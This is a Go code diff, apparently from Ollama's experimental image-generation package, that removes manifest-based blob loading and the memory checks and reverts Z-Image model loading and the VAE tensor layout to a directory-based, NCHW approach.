return filepath.Join(home, ".ollama", "models", "blobs")
case "linux":
return filepath.Join(home, ".ollama", "models", "blobs")
case "windows":
return filepath.Join(home, ".ollama", "models", "blobs")
default:
return filepath.Join(home, ".ollama", "models", "blobs")
}
}
// DefaultManifestDir returns the default manifest storage directory.
func DefaultManifestDir() string {
home, err := os.UserHomeDir()
if err != nil {
home = "."
}
return filepath.Join(home, ".ollama", "models", "manifests")
}
// LoadManifest loads a manifest for the given model name.
// Model name format: "modelname" or "modelname:tag" or "host/namespace/name:tag"
func LoadManifest(modelName string) (*ModelManifest, error) {
manifestPath := resolveManifestPath(modelName)
data, err := os.ReadFile(manifestPath)
if err != nil {
return nil, fmt.Errorf("read manifest: %w", err)
}
var manifest Manifest
if err := json.Unmarshal(data, &manifest); err != nil {
return nil, fmt.Errorf("parse manifest: %w", err)
}
return &ModelManifest{
Manifest: &manifest,
BlobDir: DefaultBlobDir(),
}, nil
}
// resolveManifestPath converts a model name to a manifest file path.
func resolveManifestPath(modelName string) string {
// Parse model name into components
// Default: registry.ollama.ai/library/<name>/<tag>
host := "registry.ollama.ai"
namespace := "library"
name := modelName
tag := "latest"
// Handle explicit tag
if idx := strings.LastIndex(name, ":"); idx != -1 {
tag = name[idx+1:]
name = name[:idx]
}
// Handle full path like "host/namespace/name"
parts := strings.Split(name, "/")
switch len(parts) {
case 3:
host = parts[0]
namespace = parts[1]
name = parts[2]
case 2:
namespace = parts[0]
name = parts[1]
}
return filepath.Join(DefaultManifestDir(), host, namespace, name, tag)
}
// BlobPath returns the full path to a blob given its digest.
func (m *ModelManifest) BlobPath(digest string) string {
// Convert "sha256:abc123" to "sha256-abc123"
blobName := strings.Replace(digest, ":", "-", 1)
return filepath.Join(m.BlobDir, blobName)
}
// GetTensorLayers returns all tensor layers for a given component.
// Component should be "text_encoder", "transformer", or "vae".
// Tensor names are path-style: "component/tensor_name" (e.g., "text_encoder/model.embed_tokens.weight").
func (m *ModelManifest) GetTensorLayers(component string) []ManifestLayer {
prefix := component + "/"
var layers []ManifestLayer
for _, layer := range m.Manifest.Layers {
if layer.MediaType == "application/vnd.ollama.image.tensor" && strings.HasPrefix(layer.Name, prefix) {
layers = append(layers, layer)
}
}
return layers
}
// GetConfigLayer returns the config layer for a given path.
func (m *ModelManifest) GetConfigLayer(configPath string) *ManifestLayer {
for _, layer := range m.Manifest.Layers {
if layer.MediaType == "application/vnd.ollama.image.json" && layer.Name == configPath {
return &layer
}
}
return nil
}
// ReadConfig reads and returns the content of a config file.
func (m *ModelManifest) ReadConfig(configPath string) ([]byte, error) {
layer := m.GetConfigLayer(configPath)
if layer == nil {
return nil, fmt.Errorf("config %q not found in manifest", configPath)
}
blobPath := m.BlobPath(layer.Digest)
return os.ReadFile(blobPath)
}
// ReadConfigJSON reads and unmarshals a config file.
func (m *ModelManifest) ReadConfigJSON(configPath string, v any) error {
data, err := m.ReadConfig(configPath)
if err != nil {
return err
}
return json.Unmarshal(data, v)
}
// OpenBlob opens a blob for reading.
func (m *ModelManifest) OpenBlob(digest string) (io.ReadCloser, error) {
return os.Open(m.BlobPath(digest))
}
// HasTensorLayers returns true if the manifest has any tensor layers.
func (m *ModelManifest) HasTensorLayers() bool {
for _, layer := range m.Manifest.Layers {
if layer.MediaType == "application/vnd.ollama.image.tensor" {
return true
}
}
return false
}

View File

@@ -1,102 +0,0 @@
// Package imagegen provides experimental image generation capabilities for Ollama.
//
// This package is in x/ because the tensor model storage format is under development.
// The goal is to integrate these capabilities into the main Ollama packages once
// the format is stable.
//
// TODO (jmorganca): Integrate into main packages when stable:
// - CLI commands → cmd/
// - API endpoints → api/
// - Model creation → server/
package imagegen
import (
"encoding/json"
"fmt"
"runtime"
)
// GB is a convenience constant for gigabytes.
const GB = 1024 * 1024 * 1024
// SupportedBackends lists the backends that support image generation.
var SupportedBackends = []string{"metal", "cuda", "cpu"}
// modelVRAMEstimates maps pipeline class names to their estimated VRAM requirements.
var modelVRAMEstimates = map[string]uint64{
"ZImagePipeline": 21 * GB, // ~21GB for Z-Image (text encoder + transformer + VAE)
"FluxPipeline": 21 * GB, // ~21GB for Flux (same architecture)
"QwenImagePipeline": 80 * GB, // TODO: verify actual requirements, using conservative estimate for now
}
// CheckPlatformSupport validates that image generation is supported on the current platform.
// Returns nil if supported, or an error describing why it's not supported.
func CheckPlatformSupport() error {
switch runtime.GOOS {
case "darwin":
// macOS: Metal is supported via MLX
if runtime.GOARCH != "arm64" {
return fmt.Errorf("image generation on macOS requires Apple Silicon (arm64), got %s", runtime.GOARCH)
}
return nil
case "linux", "windows":
// Linux/Windows: CUDA support (requires mlx or cuda build)
// The actual backend availability is checked at runtime
return nil
default:
return fmt.Errorf("image generation is not supported on %s", runtime.GOOS)
}
}
// CheckMemoryRequirements validates that there's enough memory for image generation.
// Returns nil if memory is sufficient, or an error if not.
func CheckMemoryRequirements(modelName string, availableMemory uint64) error {
required := EstimateVRAM(modelName)
if availableMemory < required {
return fmt.Errorf("insufficient memory for image generation: need %d GB, have %d GB",
required/GB, availableMemory/GB)
}
return nil
}
// ResolveModelName checks if a model name is a known image generation model.
// Returns the normalized model name if found, empty string otherwise.
func ResolveModelName(modelName string) string {
manifest, err := LoadManifest(modelName)
if err == nil && manifest.HasTensorLayers() {
return modelName
}
return ""
}
// EstimateVRAM returns the estimated VRAM needed for an image generation model.
// Returns a conservative default of 21GB if the model type cannot be determined.
func EstimateVRAM(modelName string) uint64 {
manifest, err := LoadManifest(modelName)
if err != nil {
return 21 * GB
}
data, err := manifest.ReadConfig("model_index.json")
if err != nil {
return 21 * GB
}
// Parse just the class name
var index struct {
ClassName string `json:"_class_name"`
}
if err := json.Unmarshal(data, &index); err != nil {
return 21 * GB
}
if estimate, ok := modelVRAMEstimates[index.ClassName]; ok {
return estimate
}
return 21 * GB
}
// HasTensorLayers checks if the given model has tensor layers.
func HasTensorLayers(modelName string) bool {
return ResolveModelName(modelName) != ""
}

View File

@@ -1,110 +0,0 @@
package imagegen
import (
"runtime"
"testing"
)
func TestCheckPlatformSupport(t *testing.T) {
err := CheckPlatformSupport()
switch runtime.GOOS {
case "darwin":
if runtime.GOARCH == "arm64" {
if err != nil {
t.Errorf("Expected nil error on darwin/arm64, got: %v", err)
}
} else {
if err == nil {
t.Error("Expected error on darwin/non-arm64")
}
}
case "linux", "windows":
if err != nil {
t.Errorf("Expected nil error on %s, got: %v", runtime.GOOS, err)
}
default:
if err == nil {
t.Errorf("Expected error on unsupported platform %s", runtime.GOOS)
}
}
}
func TestCheckMemoryRequirements(t *testing.T) {
tests := []struct {
name string
availableMemory uint64
wantErr bool
}{
{
name: "sufficient memory",
availableMemory: 32 * GB,
wantErr: false,
},
{
name: "exactly enough memory",
availableMemory: 21 * GB,
wantErr: false,
},
{
name: "insufficient memory",
availableMemory: 16 * GB,
wantErr: true,
},
{
name: "zero memory",
availableMemory: 0,
wantErr: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Use a non-existent model name which will default to 21GB estimate
err := CheckMemoryRequirements("nonexistent-model", tt.availableMemory)
if (err != nil) != tt.wantErr {
t.Errorf("CheckMemoryRequirements() error = %v, wantErr %v", err, tt.wantErr)
}
})
}
}
func TestModelVRAMEstimates(t *testing.T) {
// Verify the VRAM estimates map has expected entries
expected := map[string]uint64{
"ZImagePipeline": 21 * GB,
"FluxPipeline": 21 * GB,
"QwenImagePipeline": 80 * GB,
}
for name, expectedVRAM := range expected {
if actual, ok := modelVRAMEstimates[name]; !ok {
t.Errorf("Missing VRAM estimate for %s", name)
} else if actual != expectedVRAM {
t.Errorf("VRAM estimate for %s = %d GB, want %d GB", name, actual/GB, expectedVRAM/GB)
}
}
}
func TestEstimateVRAMDefault(t *testing.T) {
// Non-existent model should return default 21GB
vram := EstimateVRAM("nonexistent-model-that-does-not-exist")
if vram != 21*GB {
t.Errorf("EstimateVRAM() = %d GB, want 21 GB", vram/GB)
}
}
func TestHasTensorLayers(t *testing.T) {
// Non-existent model should return false
if HasTensorLayers("nonexistent-model") {
t.Error("HasTensorLayers() should return false for non-existent model")
}
}
func TestResolveModelName(t *testing.T) {
// Non-existent model should return empty string
result := ResolveModelName("nonexistent-model")
if result != "" {
t.Errorf("ResolveModelName() = %q, want empty string", result)
}
}

View File

@@ -11,10 +11,6 @@ package mlx
#include "mlx/c/mlx.h"
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
// Forward declare cpu_stream
static mlx_stream cpu_stream();
// Cached default GPU stream for all ops
static mlx_stream _default_stream = {0};
@@ -1030,11 +1026,10 @@ func View(a *Array, dtype int) *Array {
return newArray(res)
}
// Contiguous returns a contiguous copy of the array (row-major)
// Contiguous returns a contiguous copy of the array
func Contiguous(a *Array) *Array {
res := C.mlx_array_new()
// Use allow_col=false to force row-major contiguous layout
C.mlx_contiguous(&res, a.c, false, C.default_stream())
C.mlx_contiguous(&res, a.c, true, C.default_stream())
return newArray(res)
}
@@ -1767,16 +1762,11 @@ func RandomCategorical(logits *Array, axis int, numSamples int) *Array {
return RandomCategoricalWithKey(logits, key2, axis, numSamples)
}
// RandomNormal creates a random normal (Gaussian) tensor in float32
// RandomNormal creates a random normal (Gaussian) tensor
func RandomNormal(shape []int32, seed uint64) *Array {
return RandomNormalWithDtype(shape, seed, DtypeFloat32)
}
// RandomNormalWithDtype creates a random normal (Gaussian) tensor with specified dtype
func RandomNormalWithDtype(shape []int32, seed uint64, dtype Dtype) *Array {
key := RandomKey(seed)
res := C.mlx_array_new()
C.mlx_random_normal(&res, int32ToCInt(shape), C.size_t(len(shape)), C.mlx_dtype(dtype), 0.0, 1.0, key.c, C.default_stream())
C.mlx_random_normal(&res, int32ToCInt(shape), C.size_t(len(shape)), C.MLX_FLOAT32, 0.0, 1.0, key.c, C.default_stream())
return newArray(res)
}

View File

@@ -128,9 +128,14 @@ func (s *FlowMatchEulerScheduler) AddNoise(cleanSample, noise *mlx.Array, timest
return mlx.Add(scaledClean, scaledNoise)
}
// InitNoise creates initial noise for sampling (BFloat16 for GPU efficiency)
// InitNoise creates initial noise for sampling
func (s *FlowMatchEulerScheduler) InitNoise(shape []int32, seed int64) *mlx.Array {
return mlx.RandomNormalWithDtype(shape, uint64(seed), mlx.DtypeBFloat16)
return RandomNormal(shape, seed)
}
// RandomNormal creates a random normal tensor using MLX
func RandomNormal(shape []int32, seed int64) *mlx.Array {
return mlx.RandomNormal(shape, uint64(seed))
}
// GetLatentShape returns the latent shape for a given image size

View File

@@ -3,10 +3,12 @@
package zimage
import (
"encoding/json"
"fmt"
"math"
"os"
"path/filepath"
"github.com/ollama/ollama/x/imagegen"
"github.com/ollama/ollama/x/imagegen/mlx"
"github.com/ollama/ollama/x/imagegen/nn"
"github.com/ollama/ollama/x/imagegen/safetensors"
@@ -26,6 +28,19 @@ type Qwen3Config struct {
HeadDim int32 `json:"head_dim"`
}
// loadQwen3Config loads text encoder config from a JSON file
func loadQwen3Config(path string) (*Qwen3Config, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, fmt.Errorf("read config: %w", err)
}
var cfg Qwen3Config
if err := json.Unmarshal(data, &cfg); err != nil {
return nil, fmt.Errorf("parse config: %w", err)
}
return &cfg, nil
}
// Qwen3Attention implements Qwen3 attention with QK norms
type Qwen3Attention struct {
QProj *nn.Linear `weight:"q_proj"`
@@ -179,44 +194,33 @@ type Qwen3TextEncoder struct {
*Qwen3Config
}
// Load loads the Qwen3 text encoder from ollama blob storage.
func (m *Qwen3TextEncoder) Load(manifest *imagegen.ModelManifest) error {
fmt.Print(" Loading text encoder... ")
// Load loads the Qwen3 text encoder from a directory
func (m *Qwen3TextEncoder) Load(path string) error {
fmt.Println("Loading Qwen3 text encoder...")
// Load config from blob
var cfg Qwen3Config
if err := manifest.ReadConfigJSON("text_encoder/config.json", &cfg); err != nil {
// Load config
cfg, err := loadQwen3Config(filepath.Join(path, "config.json"))
if err != nil {
return fmt.Errorf("config: %w", err)
}
m.Qwen3Config = &cfg
m.Qwen3Config = cfg
// Pre-allocate layers slice
m.Layers = make([]*Qwen3Block, cfg.NumHiddenLayers)
// Load weights from tensor blobs
weights, err := imagegen.LoadWeightsFromManifest(manifest, "text_encoder")
// Load weights
weights, err := safetensors.LoadModelWeights(path)
if err != nil {
return fmt.Errorf("weights: %w", err)
}
if err := weights.Load(0); err != nil {
return fmt.Errorf("load weights: %w", err)
}
defer weights.ReleaseAll()
return m.loadWeights(weights)
}
// loadWeights loads weights from any WeightSource into the model
func (m *Qwen3TextEncoder) loadWeights(weights safetensors.WeightSource) error {
fmt.Print(" Loading weights via struct tags... ")
if err := safetensors.LoadModule(m, weights, ""); err != nil {
return fmt.Errorf("load module: %w", err)
}
m.initComputedFields()
fmt.Println("✓")
return nil
}
// initComputedFields initializes computed fields after loading weights
func (m *Qwen3TextEncoder) initComputedFields() {
cfg := m.Qwen3Config
// Initialize computed fields
m.FinalNorm.Eps = cfg.RMSNormEps
for _, block := range m.Layers {
// Attention
@@ -231,6 +235,9 @@ func (m *Qwen3TextEncoder) initComputedFields() {
block.InputLayerNorm.Eps = cfg.RMSNormEps
block.PostAttnLayerNorm.Eps = cfg.RMSNormEps
}
weights.ReleaseAll()
return nil
}
// Forward encodes text tokens

View File

@@ -4,10 +4,12 @@
package zimage
import (
"encoding/json"
"fmt"
"math"
"os"
"path/filepath"
"github.com/ollama/ollama/x/imagegen"
"github.com/ollama/ollama/x/imagegen/cache"
"github.com/ollama/ollama/x/imagegen/mlx"
"github.com/ollama/ollama/x/imagegen/nn"
@@ -333,49 +335,41 @@ type Transformer struct {
*TransformerConfig
}
// Load loads the Z-Image transformer from ollama blob storage.
func (m *Transformer) Load(manifest *imagegen.ModelManifest) error {
fmt.Print(" Loading transformer... ")
// Load loads the Z-Image transformer from a directory
func (m *Transformer) Load(path string) error {
fmt.Println("Loading Z-Image transformer...")
// Load config from blob
var cfg TransformerConfig
if err := manifest.ReadConfigJSON("transformer/config.json", &cfg); err != nil {
// Load config
cfg, err := loadTransformerConfig(filepath.Join(path, "config.json"))
if err != nil {
return fmt.Errorf("config: %w", err)
}
if len(cfg.AllPatchSize) > 0 {
cfg.PatchSize = cfg.AllPatchSize[0]
}
m.TransformerConfig = &cfg
m.TransformerConfig = cfg
// Pre-allocate slices for loader
m.NoiseRefiners = make([]*TransformerBlock, cfg.NRefinerLayers)
m.ContextRefiners = make([]*TransformerBlock, cfg.NRefinerLayers)
m.Layers = make([]*TransformerBlock, cfg.NLayers)
// Load weights from tensor blobs with BF16 conversion
weights, err := imagegen.LoadWeightsFromManifest(manifest, "transformer")
// Load weights
weights, err := safetensors.LoadModelWeights(path)
if err != nil {
return fmt.Errorf("weights: %w", err)
}
fmt.Print(" Loading weights as bf16... ")
if err := weights.Load(mlx.DtypeBFloat16); err != nil {
return fmt.Errorf("load weights: %w", err)
}
defer weights.ReleaseAll()
fmt.Printf("✓ (%.1f GB)\n", float64(mlx.MetalGetActiveMemory())/(1024*1024*1024))
return m.loadWeights(weights)
}
// loadWeights loads weights from any WeightSource into the model
func (m *Transformer) loadWeights(weights safetensors.WeightSource) error {
fmt.Print(" Loading weights via struct tags... ")
if err := safetensors.LoadModule(m, weights, ""); err != nil {
return fmt.Errorf("load module: %w", err)
}
m.initComputedFields()
fmt.Println("✓")
return nil
}
// initComputedFields initializes computed fields after loading weights
func (m *Transformer) initComputedFields() {
cfg := m.TransformerConfig
// Initialize computed fields
m.TEmbed.FreqEmbedSize = 256
m.FinalLayer.OutDim = m.FinalLayer.Output.Weight.Shape()[0]
m.CapEmbed.Norm.Eps = 1e-6
@@ -389,6 +383,26 @@ func (m *Transformer) initComputedFields() {
for _, block := range m.Layers {
initTransformerBlock(block, cfg)
}
weights.ReleaseAll()
return nil
}
// loadTransformerConfig loads transformer config from a JSON file
func loadTransformerConfig(path string) (*TransformerConfig, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, fmt.Errorf("read config: %w", err)
}
var cfg TransformerConfig
if err := json.Unmarshal(data, &cfg); err != nil {
return nil, fmt.Errorf("parse config: %w", err)
}
// Extract PatchSize from array
if len(cfg.AllPatchSize) > 0 {
cfg.PatchSize = cfg.AllPatchSize[0]
}
return &cfg, nil
}
// initTransformerBlock sets computed fields on a transformer block

View File

@@ -3,10 +3,12 @@
package zimage
import (
"encoding/json"
"fmt"
"math"
"os"
"path/filepath"
"github.com/ollama/ollama/x/imagegen"
"github.com/ollama/ollama/x/imagegen/mlx"
"github.com/ollama/ollama/x/imagegen/safetensors"
)
@@ -23,6 +25,19 @@ type VAEConfig struct {
ShiftFactor float32 `json:"shift_factor"`
}
// loadVAEConfig loads VAE config from a JSON file
func loadVAEConfig(path string) (*VAEConfig, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, fmt.Errorf("read config: %w", err)
}
var cfg VAEConfig
if err := json.Unmarshal(data, &cfg); err != nil {
return nil, fmt.Errorf("parse config: %w", err)
}
return &cfg, nil
}
// GroupNormLayer implements group normalization
type GroupNormLayer struct {
Weight *mlx.Array
@@ -42,183 +57,49 @@ func NewGroupNorm(weight, bias *mlx.Array, numGroups int32) *GroupNormLayer {
}
// Forward applies group normalization
// Input and output are in NHWC format [B, H, W, C]
func (gn *GroupNormLayer) Forward(x *mlx.Array) *mlx.Array {
// x: [B, H, W, C] (NHWC format)
// x: [B, C, H, W]
shape := x.Shape()
B := shape[0]
H := shape[1]
W := shape[2]
C := shape[3]
C := shape[1]
H := shape[2]
W := shape[3]
// For large spatial sizes, use tiled computation to avoid CUDA grid limits
// CUDA grid.y max is 65535, so H*W/16 must be <= 65535, meaning H*W <= ~1M
// To be safe, tile when H*W > 512*512 = 262144
if H*W > 512*512 {
return gn.forwardTiled(x, B, H, W, C)
}
return gn.forwardSmall(x, B, H, W, C)
}
// forwardSmall is the standard GroupNorm for tensors that fit within CUDA grid limits
func (gn *GroupNormLayer) forwardSmall(x *mlx.Array, B, H, W, C int32) *mlx.Array {
// Reshape to [B, H, W, groups, C/groups]
// Reshape to [B, groups, C/groups, H, W]
groupSize := C / gn.NumGroups
x = mlx.Reshape(x, B, H, W, gn.NumGroups, groupSize)
x = mlx.Reshape(x, B, gn.NumGroups, groupSize, H, W)
// Compute mean and variance per group (over H, W, and C/groups dimensions)
mean := mlx.Mean(x, 1, true)
mean = mlx.Mean(mean, 2, true)
// Compute mean and variance per group
mean := mlx.Mean(x, 2, true)
mean = mlx.Mean(mean, 3, true)
mean = mlx.Mean(mean, 4, true)
xCentered := mlx.Sub(x, mean)
// Variance over same axes
sq := mlx.Square(xCentered)
variance := mlx.Mean(sq, 1, true)
variance = mlx.Mean(variance, 2, true)
variance := mlx.Mean(mlx.Square(xCentered), 2, true)
variance = mlx.Mean(variance, 3, true)
variance = mlx.Mean(variance, 4, true)
// Normalize
xNorm := mlx.Div(xCentered, mlx.Sqrt(mlx.AddScalar(variance, gn.Eps)))
// Reshape back to [B, H, W, C]
xNorm = mlx.Reshape(xNorm, B, H, W, C)
// Reshape back to [B, C, H, W]
xNorm = mlx.Reshape(xNorm, B, C, H, W)
// Scale and shift (weight and bias are [C])
if gn.Weight != nil {
weight := mlx.Reshape(gn.Weight, 1, 1, 1, C)
weight := mlx.Reshape(gn.Weight, 1, C, 1, 1)
xNorm = mlx.Mul(xNorm, weight)
}
if gn.Bias != nil {
bias := mlx.Reshape(gn.Bias, 1, 1, 1, C)
bias := mlx.Reshape(gn.Bias, 1, C, 1, 1)
xNorm = mlx.Add(xNorm, bias)
}
return xNorm
}
// forwardTiled handles large tensors by processing in H-tiles to avoid CUDA grid limits
func (gn *GroupNormLayer) forwardTiled(x *mlx.Array, B, H, W, C int32) *mlx.Array {
groupSize := C / gn.NumGroups
// Keep the input - we need it for slicing tiles later
mlx.Keep(x)
// Compute per-group mean and variance using flattened spatial dimensions
// Build the entire compute graph first, then eval once
// Reshape to [B, H*W, groups, groupSize]
xFlat := mlx.Reshape(x, B, H*W, gn.NumGroups, groupSize)
// Mean over spatial (axis 1) and groupSize (axis 3) dimensions
// Result shape: [B, 1, groups, 1]
mean1 := mlx.Mean(xFlat, 1, true)
mean := mlx.Mean(mean1, 3, true)
// Variance using E[X^2] - E[X]^2
xSq := mlx.Square(xFlat)
meanSq1 := mlx.Mean(xSq, 1, true)
meanSq := mlx.Mean(meanSq1, 3, true)
meanSquared := mlx.Square(mean)
variance := mlx.Sub(meanSq, meanSquared)
// invStd = 1/sqrt(var + eps)
varPlusEps := mlx.AddScalar(variance, gn.Eps)
stdDev := mlx.Sqrt(varPlusEps)
one := mlx.Full(1.0, 1)
invStd := mlx.Div(one, stdDev)
// Eval mean and invStd together - these are what we need for the tile loop
mlx.Keep(mean, invStd)
mlx.Eval(mean, invStd)
// Tile along H dimension
tileH := int32(512 * 512 / W)
if tileH < 1 {
tileH = 1
}
if tileH > H {
tileH = H
}
// Prepare weight and bias reshaped for 4D broadcast [1, 1, groups, groupSize]
var weightGN, biasGN *mlx.Array
if gn.Weight != nil {
weightGN = mlx.Reshape(gn.Weight, 1, 1, gn.NumGroups, groupSize)
mlx.Keep(weightGN)
mlx.Eval(weightGN)
}
if gn.Bias != nil {
biasGN = mlx.Reshape(gn.Bias, 1, 1, gn.NumGroups, groupSize)
mlx.Keep(biasGN)
mlx.Eval(biasGN)
}
var tiles []*mlx.Array
for hStart := int32(0); hStart < H; hStart += tileH {
hEnd := hStart + tileH
if hEnd > H {
hEnd = H
}
tileHeight := hEnd - hStart
spatialSize := tileHeight * W
// Build the compute graph for this tile (no intermediate Evals)
// Extract tile and flatten spatial dims: [B, tileH*W, groups, groupSize]
tile := mlx.Slice(x, []int32{0, hStart, 0, 0}, []int32{B, hEnd, W, C})
tileFlat := mlx.Reshape(tile, B, spatialSize, gn.NumGroups, groupSize)
// Normalize: (x - mean) * invStd
tileCentered := mlx.Sub(tileFlat, mean)
tileNorm := mlx.Mul(tileCentered, invStd)
// Apply scale and shift in 4D space
if weightGN != nil {
tileNorm = mlx.Mul(tileNorm, weightGN)
}
if biasGN != nil {
tileNorm = mlx.Add(tileNorm, biasGN)
}
// Reshape back to [B, tileH, W, C]
tileOut := mlx.Reshape(tileNorm, B, tileHeight, W, C)
// Now eval and keep this tile
mlx.Keep(tileOut)
mlx.Eval(tileOut)
tiles = append(tiles, tileOut)
}
// Concatenate tiles along H axis
var result *mlx.Array
if len(tiles) == 1 {
result = tiles[0]
} else {
result = mlx.Concatenate(tiles, 1)
mlx.Eval(result)
// Free the individual tiles now that they're concatenated
for _, t := range tiles {
t.Free()
}
}
// Clean up kept arrays
mean.Free()
invStd.Free()
if weightGN != nil {
weightGN.Free()
}
if biasGN != nil {
biasGN.Free()
}
return result
}
// Conv2D represents a 2D convolution layer
// Works natively in NHWC format (MLX's native format)
// MLX uses NHWC format, but we store weights in OHWI format for MLX conv
type Conv2D struct {
Weight *mlx.Array // [out_channels, kH, kW, in_channels] (OHWI for MLX)
Bias *mlx.Array // [out_channels]
@@ -242,17 +123,21 @@ func NewConv2D(weight, bias *mlx.Array, stride, padding int32) *Conv2D {
}
// Forward applies convolution
// Input and output are in NHWC format [N, H, W, C]
// Input x is in NCHW format, we convert to NHWC for MLX, then back to NCHW
func (conv *Conv2D) Forward(x *mlx.Array) *mlx.Array {
// Conv in NHWC format (MLX native)
out := mlx.Conv2d(x, conv.Weight, conv.Stride, conv.Padding)
// x: [N, C, H, W] -> [N, H, W, C]
xNHWC := mlx.Transpose(x, 0, 2, 3, 1)
// Conv in NHWC format
outNHWC := mlx.Conv2d(xNHWC, conv.Weight, conv.Stride, conv.Padding)
// Convert back to NCHW: [N, H, W, C] -> [N, C, H, W]
out := mlx.Transpose(outNHWC, 0, 3, 1, 2)
if conv.Bias != nil {
// Bias is [C], reshape to [1, 1, 1, C] for NHWC broadcast
bias := mlx.Reshape(conv.Bias, 1, 1, 1, conv.Bias.Dim(0))
bias := mlx.Reshape(conv.Bias, 1, conv.Bias.Dim(0), 1, 1)
out = mlx.Add(out, bias)
}
return out
}
@@ -266,7 +151,7 @@ type ResnetBlock2D struct {
}
// NewResnetBlock2D creates a ResNet block
func NewResnetBlock2D(weights safetensors.WeightSource, prefix string, numGroups int32) (*ResnetBlock2D, error) {
func NewResnetBlock2D(weights *safetensors.ModelWeights, prefix string, numGroups int32) (*ResnetBlock2D, error) {
norm1Weight, err := weights.GetTensor(prefix + ".norm1.weight")
if err != nil {
return nil, err
@@ -331,13 +216,13 @@ func (rb *ResnetBlock2D) Forward(x *mlx.Array) *mlx.Array {
// Stage 1: norm1
{
h = rb.Norm1.Forward(x)
h = rb.Norm1.Forward(x)
mlx.Eval(h)
}
// Stage 2: silu + conv1
{
prev := h
prev := h
h = mlx.SiLU(h)
h = rb.Conv1.Forward(h)
prev.Free()
@@ -346,7 +231,7 @@ func (rb *ResnetBlock2D) Forward(x *mlx.Array) *mlx.Array {
// Stage 3: norm2
{
prev := h
prev := h
h = rb.Norm2.Forward(h)
prev.Free()
mlx.Eval(h)
@@ -354,7 +239,7 @@ func (rb *ResnetBlock2D) Forward(x *mlx.Array) *mlx.Array {
// Stage 4: silu + conv2
{
prev := h
prev := h
h = mlx.SiLU(h)
h = rb.Conv2.Forward(h)
prev.Free()
@@ -363,7 +248,7 @@ func (rb *ResnetBlock2D) Forward(x *mlx.Array) *mlx.Array {
// Residual connection
{
prev := h
prev := h
if rb.ConvShortcut != nil {
shortcut := rb.ConvShortcut.Forward(x)
h = mlx.Add(h, shortcut)
@@ -392,7 +277,7 @@ type VAEAttentionBlock struct {
}
// NewVAEAttentionBlock creates an attention block
func NewVAEAttentionBlock(weights safetensors.WeightSource, prefix string, numGroups int32) (*VAEAttentionBlock, error) {
func NewVAEAttentionBlock(weights *safetensors.ModelWeights, prefix string, numGroups int32) (*VAEAttentionBlock, error) {
normWeight, err := weights.GetTensor(prefix + ".group_norm.weight")
if err != nil {
return nil, err
@@ -453,20 +338,20 @@ func NewVAEAttentionBlock(weights safetensors.WeightSource, prefix string, numGr
}
// Forward applies attention with staged evaluation
// Input and output are in NHWC format [B, H, W, C]
func (ab *VAEAttentionBlock) Forward(x *mlx.Array) *mlx.Array {
residual := x
shape := x.Shape()
B := shape[0]
H := shape[1]
W := shape[2]
C := shape[3]
C := shape[1]
H := shape[2]
W := shape[3]
var h *mlx.Array
// Stage 1: GroupNorm + reshape to [B, H*W, C]
// Stage 1: GroupNorm + reshape
{
h = ab.GroupNorm.Forward(x)
h = ab.GroupNorm.Forward(x)
h = mlx.Transpose(h, 0, 2, 3, 1)
h = mlx.Reshape(h, B, H*W, C)
mlx.Eval(h)
}
@@ -475,7 +360,7 @@ func (ab *VAEAttentionBlock) Forward(x *mlx.Array) *mlx.Array {
// Stage 2: Q, K, V projections + attention
{
q := mlx.Linear(h, ab.ToQWeight)
q := mlx.Linear(h, ab.ToQWeight)
q = mlx.Add(q, ab.ToQBias)
k := mlx.Linear(h, ab.ToKWeight)
k = mlx.Add(k, ab.ToKBias)
@@ -495,10 +380,11 @@ func (ab *VAEAttentionBlock) Forward(x *mlx.Array) *mlx.Array {
// Stage 3: Output projection + reshape + residual
{
prev := out
prev := out
out = mlx.Linear(out, ab.ToOutWeight)
out = mlx.Add(out, ab.ToOutBias)
out = mlx.Reshape(out, B, H, W, C)
out = mlx.Transpose(out, 0, 3, 1, 2)
out = mlx.Add(out, residual)
prev.Free()
mlx.Eval(out)
@@ -514,7 +400,7 @@ type UpDecoderBlock2D struct {
}
// NewUpDecoderBlock2D creates an up decoder block
func NewUpDecoderBlock2D(weights safetensors.WeightSource, prefix string, numLayers, numGroups int32, hasUpsample bool) (*UpDecoderBlock2D, error) {
func NewUpDecoderBlock2D(weights *safetensors.ModelWeights, prefix string, numLayers, numGroups int32, hasUpsample bool) (*UpDecoderBlock2D, error) {
resnets := make([]*ResnetBlock2D, numLayers)
for i := int32(0); i < numLayers; i++ {
resPrefix := fmt.Sprintf("%s.resnets.%d", prefix, i)
@@ -581,7 +467,7 @@ type VAEMidBlock struct {
}
// NewVAEMidBlock creates the mid block
func NewVAEMidBlock(weights safetensors.WeightSource, prefix string, numGroups int32) (*VAEMidBlock, error) {
func NewVAEMidBlock(weights *safetensors.ModelWeights, prefix string, numGroups int32) (*VAEMidBlock, error) {
resnet1, err := NewResnetBlock2D(weights, prefix+".resnets.0", numGroups)
if err != nil {
return nil, err
@@ -632,31 +518,22 @@ type VAEDecoder struct {
ConvOut *Conv2D
}
// Load loads the VAE decoder from ollama blob storage.
func (m *VAEDecoder) Load(manifest *imagegen.ModelManifest) error {
// Load config from blob
var cfg VAEConfig
if err := manifest.ReadConfigJSON("vae/config.json", &cfg); err != nil {
// Load loads the VAE decoder from a directory
func (m *VAEDecoder) Load(path string) error {
fmt.Println("Loading VAE decoder...")
// Load config
cfg, err := loadVAEConfig(filepath.Join(path, "config.json"))
if err != nil {
return fmt.Errorf("config: %w", err)
}
m.Config = &cfg
m.Config = cfg
// Load weights from tensor blobs
weights, err := imagegen.LoadWeightsFromManifest(manifest, "vae")
// Load weights
weights, err := safetensors.LoadModelWeights(path)
if err != nil {
return fmt.Errorf("weights: %w", err)
}
if err := weights.Load(0); err != nil {
return fmt.Errorf("load weights: %w", err)
}
defer weights.ReleaseAll()
return m.loadWeights(weights, &cfg)
}
// loadWeights loads VAE weights from any WeightSource
func (m *VAEDecoder) loadWeights(weights safetensors.WeightSource, cfg *VAEConfig) error {
var err error
// Load conv_in
fmt.Print(" Loading conv_in... ")
@@ -719,20 +596,20 @@ func (m *VAEDecoder) loadWeights(weights safetensors.WeightSource, cfg *VAEConfi
m.ConvOut = NewConv2D(convOutWeight, convOutBias, 1, 1)
fmt.Println("✓")
weights.ReleaseAll()
return nil
}
// Decode decodes latents to images.
